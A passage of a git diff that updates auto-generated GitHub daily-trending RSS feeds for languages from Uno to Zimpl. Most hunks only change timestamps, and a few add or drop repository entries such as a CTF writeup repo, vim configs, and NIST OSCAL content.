+ 2023-12-13T01:46:20Z
Daily Trending of Uno in GitHub
\ No newline at end of file
diff --git a/unrealscript/daily/index.xml b/unrealscript/daily/index.xml
index 00334082f02..abec0f34dce 100644
--- a/unrealscript/daily/index.xml
+++ b/unrealscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub UnrealScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:54Z
+ 2023-12-13T01:46:22Z
Daily Trending of UnrealScript in GitHub
\ No newline at end of file
diff --git a/urweb/daily/index.xml b/urweb/daily/index.xml
index 4cc115694bd..ac600b79f79 100644
--- a/urweb/daily/index.xml
+++ b/urweb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub UrWeb Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:56Z
+ 2023-12-13T01:46:22Z
Daily Trending of UrWeb in GitHub
\ No newline at end of file
diff --git a/v/daily/index.xml b/v/daily/index.xml
index 1ac272f83c1..e383bda9288 100644
--- a/v/daily/index.xml
+++ b/v/daily/index.xml
@@ -1,7 +1,7 @@
GitHub V Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:00Z
+ 2023-12-13T01:46:26Z
Daily Trending of V in GitHub
\ No newline at end of file
diff --git a/vala/daily/index.xml b/vala/daily/index.xml
index 8adc79f0ca1..6007b3f3c42 100644
--- a/vala/daily/index.xml
+++ b/vala/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Vala Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:58Z
+ 2023-12-13T01:46:25Z
Daily Trending of Vala in GitHub
\ No newline at end of file
diff --git a/valve-data-format/daily/index.xml b/valve-data-format/daily/index.xml
index 5a5877aec05..0c1d1e8ca5a 100644
--- a/valve-data-format/daily/index.xml
+++ b/valve-data-format/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Valve Data Format Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:57Z
+ 2023-12-13T01:46:24Z
Daily Trending of Valve Data Format in GitHub
\ No newline at end of file
diff --git a/vba/daily/index.xml b/vba/daily/index.xml
index 17c9d9a4ef7..56a3f5bd402 100644
--- a/vba/daily/index.xml
+++ b/vba/daily/index.xml
@@ -1,7 +1,7 @@
GitHub VBA Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:00:59Z
+ 2023-12-13T01:46:25Z
Daily Trending of VBA in GitHub
\ No newline at end of file
diff --git a/vbscript/daily/index.xml b/vbscript/daily/index.xml
index 65de59da2ea..6fec825f498 100644
--- a/vbscript/daily/index.xml
+++ b/vbscript/daily/index.xml
@@ -1,7 +1,14 @@
GitHub VBScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:03Z
+ 2023-12-13T01:46:28Z
Daily Trending of VBScript in GitHub
+
+ hackthebox/uni-ctf-2023
+ 2023-12-13T01:46:28Z
+ tag:github.com,2023-12-13:/hackthebox/uni-ctf-2023
+
+ <p>Official writeups for University CTF 2023: Brains & Bytes</p><hr>
+
\ No newline at end of file
diff --git a/vcl/daily/index.xml b/vcl/daily/index.xml
index 3c037e72bc0..40b6f59b3d5 100644
--- a/vcl/daily/index.xml
+++ b/vcl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub VCL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:02Z
+ 2023-12-13T01:46:29Z
Daily Trending of VCL in GitHub
\ No newline at end of file
diff --git a/verilog/daily/index.xml b/verilog/daily/index.xml
index ac42a5bc79a..213321fe48f 100644
--- a/verilog/daily/index.xml
+++ b/verilog/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Verilog Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:04Z
+ 2023-12-13T01:46:30Z
Daily Trending of Verilog in GitHub
-
- siliconcompiler/lambdalib
- 2023-12-12T02:01:04Z
- tag:github.com,2023-12-12:/siliconcompiler/lambdalib
-
- <p>Hardware abstraction library</p><hr>
-
\ No newline at end of file
diff --git a/vhdl/daily/index.xml b/vhdl/daily/index.xml
index e9ec6cebaf3..f88c527cf33 100644
--- a/vhdl/daily/index.xml
+++ b/vhdl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub VHDL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:06Z
+ 2023-12-13T01:46:33Z
Daily Trending of VHDL in GitHub
\ No newline at end of file
diff --git a/vim-help-file/daily/index.xml b/vim-help-file/daily/index.xml
index e39ff1f663e..3b5b495f881 100644
--- a/vim-help-file/daily/index.xml
+++ b/vim-help-file/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Vim Help File Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:05Z
+ 2023-12-13T01:46:31Z
Daily Trending of Vim Help File in GitHub
\ No newline at end of file
diff --git a/vim-script/daily/index.xml b/vim-script/daily/index.xml
index 60a3dbfe988..d6b7e06bb5c 100644
--- a/vim-script/daily/index.xml
+++ b/vim-script/daily/index.xml
@@ -1,7 +1,21 @@
GitHub Vim Script Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:09Z
+ 2023-12-13T01:46:35Z
Daily Trending of Vim Script in GitHub
+
+ skydark/dotvim
+ 2023-12-13T01:46:35Z
+ tag:github.com,2023-12-13:/skydark/dotvim
+
+ <p>My vim configure</p><hr>
+
+
+ vim-scripts/TagmaLast
+ 2023-12-13T01:46:35Z
+ tag:github.com,2023-12-13:/vim-scripts/TagmaLast
+
+ <p>Update the 'Last Changed' line in a file</p><hr>
+
\ No newline at end of file
diff --git a/vim-snippet/daily/index.xml b/vim-snippet/daily/index.xml
index d1456bd6a69..f14dc35f9e6 100644
--- a/vim-snippet/daily/index.xml
+++ b/vim-snippet/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Vim Snippet Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:07Z
+ 2023-12-13T01:46:36Z
Daily Trending of Vim Snippet in GitHub
\ No newline at end of file
diff --git a/visual-basic-.net/daily/index.xml b/visual-basic-.net/daily/index.xml
index 587a709a517..f118b68ba2f 100644
--- a/visual-basic-.net/daily/index.xml
+++ b/visual-basic-.net/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Visual Basic .NET Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:13Z
+ 2023-12-13T01:46:38Z
Daily Trending of Visual Basic .NET in GitHub
\ No newline at end of file
diff --git a/volt/daily/index.xml b/volt/daily/index.xml
index 1d7790d5fdb..e7120d86bf2 100644
--- a/volt/daily/index.xml
+++ b/volt/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Volt Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:12Z
+ 2023-12-13T01:46:37Z
Daily Trending of Volt in GitHub
\ No newline at end of file
diff --git a/vue/daily/index.xml b/vue/daily/index.xml
index 78e6e59dcf9..eb0977b84f7 100644
--- a/vue/daily/index.xml
+++ b/vue/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Vue Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:18Z
+ 2023-12-13T01:46:44Z
Daily Trending of Vue in GitHub
\ No newline at end of file
diff --git a/vyper/daily/index.xml b/vyper/daily/index.xml
index acda3153ba1..d05ab3e8712 100644
--- a/vyper/daily/index.xml
+++ b/vyper/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Vyper Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:15Z
+ 2023-12-13T01:46:40Z
Daily Trending of Vyper in GitHub
\ No newline at end of file
diff --git a/wavefront-material/daily/index.xml b/wavefront-material/daily/index.xml
index 78235b6cfb8..fa67686b763 100644
--- a/wavefront-material/daily/index.xml
+++ b/wavefront-material/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Wavefront Material Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:14Z
+ 2023-12-13T01:46:41Z
Daily Trending of Wavefront Material in GitHub
\ No newline at end of file
diff --git a/wavefront-object/daily/index.xml b/wavefront-object/daily/index.xml
index 6915aabf78f..12bfc19b1c1 100644
--- a/wavefront-object/daily/index.xml
+++ b/wavefront-object/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Wavefront Object Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:14Z
+ 2023-12-13T01:46:42Z
Daily Trending of Wavefront Object in GitHub
\ No newline at end of file
diff --git a/wdl/daily/index.xml b/wdl/daily/index.xml
index 191d67afbd3..86fb4867aa0 100644
--- a/wdl/daily/index.xml
+++ b/wdl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub WDL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:20Z
+ 2023-12-13T01:46:45Z
Daily Trending of WDL in GitHub
\ No newline at end of file
diff --git a/web-ontology-language/daily/index.xml b/web-ontology-language/daily/index.xml
index bed5cf9ccef..1a72040e60a 100644
--- a/web-ontology-language/daily/index.xml
+++ b/web-ontology-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Web Ontology Language Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:20Z
+ 2023-12-13T01:46:46Z
Daily Trending of Web Ontology Language in GitHub
\ No newline at end of file
diff --git a/webassembly/daily/index.xml b/webassembly/daily/index.xml
index 6473bb1fd61..09965e28892 100644
--- a/webassembly/daily/index.xml
+++ b/webassembly/daily/index.xml
@@ -1,7 +1,7 @@
GitHub WebAssembly Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:21Z
+ 2023-12-13T01:46:47Z
Daily Trending of WebAssembly in GitHub
\ No newline at end of file
diff --git a/webidl/daily/index.xml b/webidl/daily/index.xml
index ee92ba9cf67..68141f87a08 100644
--- a/webidl/daily/index.xml
+++ b/webidl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub WebIDL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:23Z
+ 2023-12-13T01:46:49Z
Daily Trending of WebIDL in GitHub
\ No newline at end of file
diff --git a/webvtt/daily/index.xml b/webvtt/daily/index.xml
index 8798f8d433c..6fd9da7aeaf 100644
--- a/webvtt/daily/index.xml
+++ b/webvtt/daily/index.xml
@@ -1,7 +1,7 @@
GitHub WebVTT Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:24Z
+ 2023-12-13T01:46:48Z
Daily Trending of WebVTT in GitHub
\ No newline at end of file
diff --git a/wget-config/daily/index.xml b/wget-config/daily/index.xml
index ed64867b9f8..6338ea10b6c 100644
--- a/wget-config/daily/index.xml
+++ b/wget-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Wget Config Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:22Z
+ 2023-12-13T01:46:50Z
Daily Trending of Wget Config in GitHub
\ No newline at end of file
diff --git a/wikitext/daily/index.xml b/wikitext/daily/index.xml
index ce418353454..25ebea532f8 100644
--- a/wikitext/daily/index.xml
+++ b/wikitext/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Wikitext Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:27Z
+ 2023-12-13T01:46:54Z
Daily Trending of Wikitext in GitHub
\ No newline at end of file
diff --git a/windows-registry-entries/daily/index.xml b/windows-registry-entries/daily/index.xml
index 47b9577c823..925f07771c0 100644
--- a/windows-registry-entries/daily/index.xml
+++ b/windows-registry-entries/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Windows Registry Entries Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:25Z
+ 2023-12-13T01:46:52Z
Daily Trending of Windows Registry Entries in GitHub
\ No newline at end of file
diff --git a/wisp/daily/index.xml b/wisp/daily/index.xml
index 6cce913610e..97478dd37d2 100644
--- a/wisp/daily/index.xml
+++ b/wisp/daily/index.xml
@@ -1,7 +1,7 @@
GitHub wisp Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:29Z
+ 2023-12-13T01:46:55Z
Daily Trending of wisp in GitHub
\ No newline at end of file
diff --git a/witcher-script/daily/index.xml b/witcher-script/daily/index.xml
index b0f695ed8ff..e94abc11025 100644
--- a/witcher-script/daily/index.xml
+++ b/witcher-script/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Witcher Script Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:31Z
+ 2023-12-13T01:46:56Z
Daily Trending of Witcher Script in GitHub
\ No newline at end of file
diff --git a/wollok/daily/index.xml b/wollok/daily/index.xml
index e365ede81bf..f84930418b0 100644
--- a/wollok/daily/index.xml
+++ b/wollok/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Wollok Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:29Z
+ 2023-12-13T01:46:55Z
Daily Trending of Wollok in GitHub
\ No newline at end of file
diff --git a/world-of-warcraft-addon-data/daily/index.xml b/world-of-warcraft-addon-data/daily/index.xml
index c3ebaaac034..06daa7b5467 100644
--- a/world-of-warcraft-addon-data/daily/index.xml
+++ b/world-of-warcraft-addon-data/daily/index.xml
@@ -1,7 +1,7 @@
GitHub World of Warcraft Addon Data Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:30Z
+ 2023-12-13T01:46:57Z
Daily Trending of World of Warcraft Addon Data in GitHub
\ No newline at end of file
diff --git a/x-bitmap/daily/index.xml b/x-bitmap/daily/index.xml
index 4369a4c8f47..c8d9b19c222 100644
--- a/x-bitmap/daily/index.xml
+++ b/x-bitmap/daily/index.xml
@@ -1,7 +1,7 @@
GitHub X BitMap Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:32Z
+ 2023-12-13T01:46:58Z
Daily Trending of X BitMap in GitHub
\ No newline at end of file
diff --git a/x-font-directory-index/daily/index.xml b/x-font-directory-index/daily/index.xml
index e3f13a96b5c..b22ff26a78f 100644
--- a/x-font-directory-index/daily/index.xml
+++ b/x-font-directory-index/daily/index.xml
@@ -1,7 +1,7 @@
GitHub X Font Directory Index Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:33Z
+ 2023-12-13T01:47:01Z
Daily Trending of X Font Directory Index in GitHub
\ No newline at end of file
diff --git a/x-pixmap/daily/index.xml b/x-pixmap/daily/index.xml
index 8cb0498d39c..eeacedea86c 100644
--- a/x-pixmap/daily/index.xml
+++ b/x-pixmap/daily/index.xml
@@ -1,7 +1,7 @@
GitHub X PixMap Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:34Z
+ 2023-12-13T01:46:59Z
Daily Trending of X PixMap in GitHub
\ No newline at end of file
diff --git a/x10/daily/index.xml b/x10/daily/index.xml
index 751efc6c110..61afae8391e 100644
--- a/x10/daily/index.xml
+++ b/x10/daily/index.xml
@@ -1,7 +1,7 @@
GitHub X10 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:35Z
+ 2023-12-13T01:47:06Z
Daily Trending of X10 in GitHub
\ No newline at end of file
diff --git a/xbase/daily/index.xml b/xbase/daily/index.xml
index 57fdee9e6a6..08d21d5565d 100644
--- a/xbase/daily/index.xml
+++ b/xbase/daily/index.xml
@@ -1,7 +1,7 @@
GitHub xBase Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:37Z
+ 2023-12-13T01:47:04Z
Daily Trending of xBase in GitHub
\ No newline at end of file
diff --git a/xc/daily/index.xml b/xc/daily/index.xml
index c0bcfeaf56a..0d7167cce7f 100644
--- a/xc/daily/index.xml
+++ b/xc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XC Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:36Z
+ 2023-12-13T01:47:03Z
Daily Trending of XC in GitHub
\ No newline at end of file
diff --git a/xcompose/daily/index.xml b/xcompose/daily/index.xml
index 22800dde189..dba59e4fcc0 100644
--- a/xcompose/daily/index.xml
+++ b/xcompose/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XCompose Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:36Z
+ 2023-12-13T01:47:05Z
Daily Trending of XCompose in GitHub
\ No newline at end of file
diff --git a/xml-property-list/daily/index.xml b/xml-property-list/daily/index.xml
index d748a9b4451..fd82eb54e34 100644
--- a/xml-property-list/daily/index.xml
+++ b/xml-property-list/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XML Property List Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:39Z
+ 2023-12-13T01:47:08Z
Daily Trending of XML Property List in GitHub
\ No newline at end of file
diff --git a/xml/daily/index.xml b/xml/daily/index.xml
index eed42caec8e..70f8d5fc03b 100644
--- a/xml/daily/index.xml
+++ b/xml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:38Z
+ 2023-12-13T01:47:10Z
Daily Trending of XML in GitHub
\ No newline at end of file
diff --git a/xojo/daily/index.xml b/xojo/daily/index.xml
index 7501f4a7c95..acbe3b17b07 100644
--- a/xojo/daily/index.xml
+++ b/xojo/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Xojo Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:40Z
+ 2023-12-13T01:47:10Z
Daily Trending of Xojo in GitHub
\ No newline at end of file
diff --git a/xonsh/daily/index.xml b/xonsh/daily/index.xml
index 7b2b121d885..91745b1eda1 100644
--- a/xonsh/daily/index.xml
+++ b/xonsh/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Xonsh Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:39Z
+ 2023-12-13T01:47:09Z
Daily Trending of Xonsh in GitHub
\ No newline at end of file
diff --git a/xpages/daily/index.xml b/xpages/daily/index.xml
index 241b91ae252..b1c25a42a86 100644
--- a/xpages/daily/index.xml
+++ b/xpages/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XPages Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:42Z
+ 2023-12-13T01:47:12Z
Daily Trending of XPages in GitHub
\ No newline at end of file
diff --git a/xproc/daily/index.xml b/xproc/daily/index.xml
index 482c9595f44..29b6f565c81 100644
--- a/xproc/daily/index.xml
+++ b/xproc/daily/index.xml
@@ -1,7 +1,14 @@
GitHub XProc Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:43Z
+ 2023-12-13T01:47:13Z
Daily Trending of XProc in GitHub
+
+ daisy/xprocspec
+ 2023-12-13T01:47:13Z
+ tag:github.com,2023-12-13:/daisy/xprocspec
+
+ <p>A tool for testing XProc scripts</p><hr>
+
\ No newline at end of file
diff --git a/xquery/daily/index.xml b/xquery/daily/index.xml
index 466bc279ec3..2cfd826764b 100644
--- a/xquery/daily/index.xml
+++ b/xquery/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XQuery Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:41Z
+ 2023-12-13T01:47:12Z
Daily Trending of XQuery in GitHub
\ No newline at end of file
diff --git a/xs/daily/index.xml b/xs/daily/index.xml
index 88c0e950910..bc941696f8a 100644
--- a/xs/daily/index.xml
+++ b/xs/daily/index.xml
@@ -1,7 +1,7 @@
GitHub XS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:43Z
+ 2023-12-13T01:47:11Z
Daily Trending of XS in GitHub
\ No newline at end of file
diff --git a/xslt/daily/index.xml b/xslt/daily/index.xml
index e58cb278e39..63e2ae60635 100644
--- a/xslt/daily/index.xml
+++ b/xslt/daily/index.xml
@@ -1,7 +1,14 @@
GitHub XSLT Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:47Z
+ 2023-12-13T01:47:17Z
Daily Trending of XSLT in GitHub
+
+ usnistgov/oscal-content
+ 2023-12-13T01:47:17Z
+ tag:github.com,2023-12-13:/usnistgov/oscal-content
+
+ <p>NIST SP 800-53 content and other OSCAL content examples</p><hr><p><a href="https://gitter.im/usnistgov-OSCAL/Lobby"><img src="https://img.shields.io/gitter/room/usnistgov-OSCAL/Lobby" alt="Gitter"></a> <img src="https://github.com/usnistgov/oscal-content/workflows/Process%20Content/badge.svg?branch=main" alt="Process Content"></p>
<h1>OSCAL Examples</h1>
<p>This directory contains numerous OSCAL examples in XML, JSON, and YAML formats based on <a href="https://raw.githubusercontent.com/usnistgov/oscal-content/main/github.com/usnistgov/OSCAL/releases/latest">the latest OSCAL stable release</a>.</p>
<p>These files are maintained by a Continuous Integration and Continuous Deployment (CI/CD) process that automatically converts source content into the alternate formats found in the many subdirectories of this repository. As a result, these example files should not be modified. Instead, the source of the file should be edited in the <a href="https://raw.githubusercontent.com/usnistgov/oscal-content/main/src">src</a> subdirectories.</p>
<p>The structure and contents of the examples directory are as follows:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/usnistgov/oscal-content/main/examples">examples</a>: This directory contains sample OSCAL content organized by OSCAL model.</li>
<li><a href="https://raw.githubusercontent.com/usnistgov/oscal-content/main/nist.gov/SP800-53/rev4">nist.gov/SP800-53/rev4</a>: This directory contains OSCAL examples of the catalog, and low, moderate, and high baselines defined by NIST Special Publication (SP) <a href="https://csrc.nist.gov/publications/detail/sp/800-53/rev-4/final">800-53 Revision 4</a>.</li>
<li><a href="https://raw.githubusercontent.com/usnistgov/oscal-content/main/nist.gov/SP800-53/rev5">nist.gov/SP800-53/rev5</a>: This directory contains OSCAL examples of the catalog, and low, moderate, and high baselines defined by NIST Special Publication (SP) <a href="https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final">800-53 Revision 5</a> and <a href="https://csrc.nist.gov/publications/detail/sp/800-53b/final">SP 800-53B</a> respectively.</li>
<li><a href="https://raw.githubusercontent.com/usnistgov/oscal-content/main/src">src</a>: This directory contains the source files for all the OSCAL examples located in this repository.</li>
<li><a href="https://raw.githubusercontent.com/usnistgov/oscal-content/main/build">build</a>: This directory includes <a href="https://raw.githubusercontent.com/usnistgov/oscal-content/main/build/README.md">instructions</a> and tools to build OSCAL dependencies, generate, convert, and check example content in this repository for release.</li>
</ul>
+
\ No newline at end of file
diff --git a/xtend/daily/index.xml b/xtend/daily/index.xml
index 0c46c854e30..8859fb19ead 100644
--- a/xtend/daily/index.xml
+++ b/xtend/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Xtend Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:46Z
+ 2023-12-13T01:47:15Z
Daily Trending of Xtend in GitHub
\ No newline at end of file
diff --git a/yacc/daily/index.xml b/yacc/daily/index.xml
index 45130080529..a808d60e541 100644
--- a/yacc/daily/index.xml
+++ b/yacc/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Yacc Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:45Z
+ 2023-12-13T01:47:14Z
Daily Trending of Yacc in GitHub
-
- overbound/SonicTimeTwisted2.0
- 2023-12-12T02:01:45Z
- tag:github.com,2023-12-12:/overbound/SonicTimeTwisted2.0
-
- <p></p><hr>
-
\ No newline at end of file
diff --git a/yaml/daily/index.xml b/yaml/daily/index.xml
index 4aa79918962..79053656d0b 100644
--- a/yaml/daily/index.xml
+++ b/yaml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub YAML Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:47Z
+ 2023-12-13T01:47:17Z
Daily Trending of YAML in GitHub
\ No newline at end of file
diff --git a/yang/daily/index.xml b/yang/daily/index.xml
index cccb009ec6b..6bddf34c830 100644
--- a/yang/daily/index.xml
+++ b/yang/daily/index.xml
@@ -1,7 +1,7 @@
GitHub YANG Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:50Z
+ 2023-12-13T01:47:19Z
Daily Trending of YANG in GitHub
\ No newline at end of file
diff --git a/yara/daily/index.xml b/yara/daily/index.xml
index b651679cd74..5b93b4e1deb 100644
--- a/yara/daily/index.xml
+++ b/yara/daily/index.xml
@@ -1,7 +1,7 @@
GitHub YARA Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:50Z
+ 2023-12-13T01:47:21Z
Daily Trending of YARA in GitHub
\ No newline at end of file
diff --git a/yasnippet/daily/index.xml b/yasnippet/daily/index.xml
index a0de0db7b73..5e7d994599e 100644
--- a/yasnippet/daily/index.xml
+++ b/yasnippet/daily/index.xml
@@ -1,7 +1,7 @@
GitHub YASnippet Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:52Z
+ 2023-12-13T01:47:20Z
Daily Trending of YASnippet in GitHub
\ No newline at end of file
diff --git a/zap/daily/index.xml b/zap/daily/index.xml
index 151cfda499a..337ebe66750 100644
--- a/zap/daily/index.xml
+++ b/zap/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ZAP Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:53Z
+ 2023-12-13T01:47:23Z
Daily Trending of ZAP in GitHub
\ No newline at end of file
diff --git a/zeek/daily/index.xml b/zeek/daily/index.xml
index b7105bd96f0..b0c43be6df4 100644
--- a/zeek/daily/index.xml
+++ b/zeek/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Zeek Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:53Z
+ 2023-12-13T01:47:24Z
Daily Trending of Zeek in GitHub
\ No newline at end of file
diff --git a/zenscript/daily/index.xml b/zenscript/daily/index.xml
index 42acd4e1fd9..c16056ea0cb 100644
--- a/zenscript/daily/index.xml
+++ b/zenscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ZenScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:55Z
+ 2023-12-13T01:47:25Z
Daily Trending of ZenScript in GitHub
\ No newline at end of file
diff --git a/zephir/daily/index.xml b/zephir/daily/index.xml
index e89e8545c2c..59a4fd45587 100644
--- a/zephir/daily/index.xml
+++ b/zephir/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Zephir Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:54Z
+ 2023-12-13T01:47:22Z
Daily Trending of Zephir in GitHub
\ No newline at end of file
diff --git a/zig/daily/index.xml b/zig/daily/index.xml
index 3688269037c..b158a62e7ab 100644
--- a/zig/daily/index.xml
+++ b/zig/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Zig Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:59Z
+ 2023-12-13T01:47:28Z
Daily Trending of Zig in GitHub
+
+ jamii/focus
+ 2023-12-13T01:47:28Z
+ tag:github.com,2023-12-13:/jamii/focus
+
+ <p>Minimalist text editor</p><hr>
+
\ No newline at end of file
diff --git a/zil/daily/index.xml b/zil/daily/index.xml
index 9ec65e824a3..7119fb6e185 100644
--- a/zil/daily/index.xml
+++ b/zil/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ZIL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:56Z
+ 2023-12-13T01:47:26Z
Daily Trending of ZIL in GitHub
\ No newline at end of file
diff --git a/zimpl/daily/index.xml b/zimpl/daily/index.xml
index 75ad665506d..b55a2b47016 100644
--- a/zimpl/daily/index.xml
+++ b/zimpl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Zimpl Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T02:01:57Z
+ 2023-12-13T01:47:26Z
Daily Trending of Zimpl in GitHub
\ No newline at end of file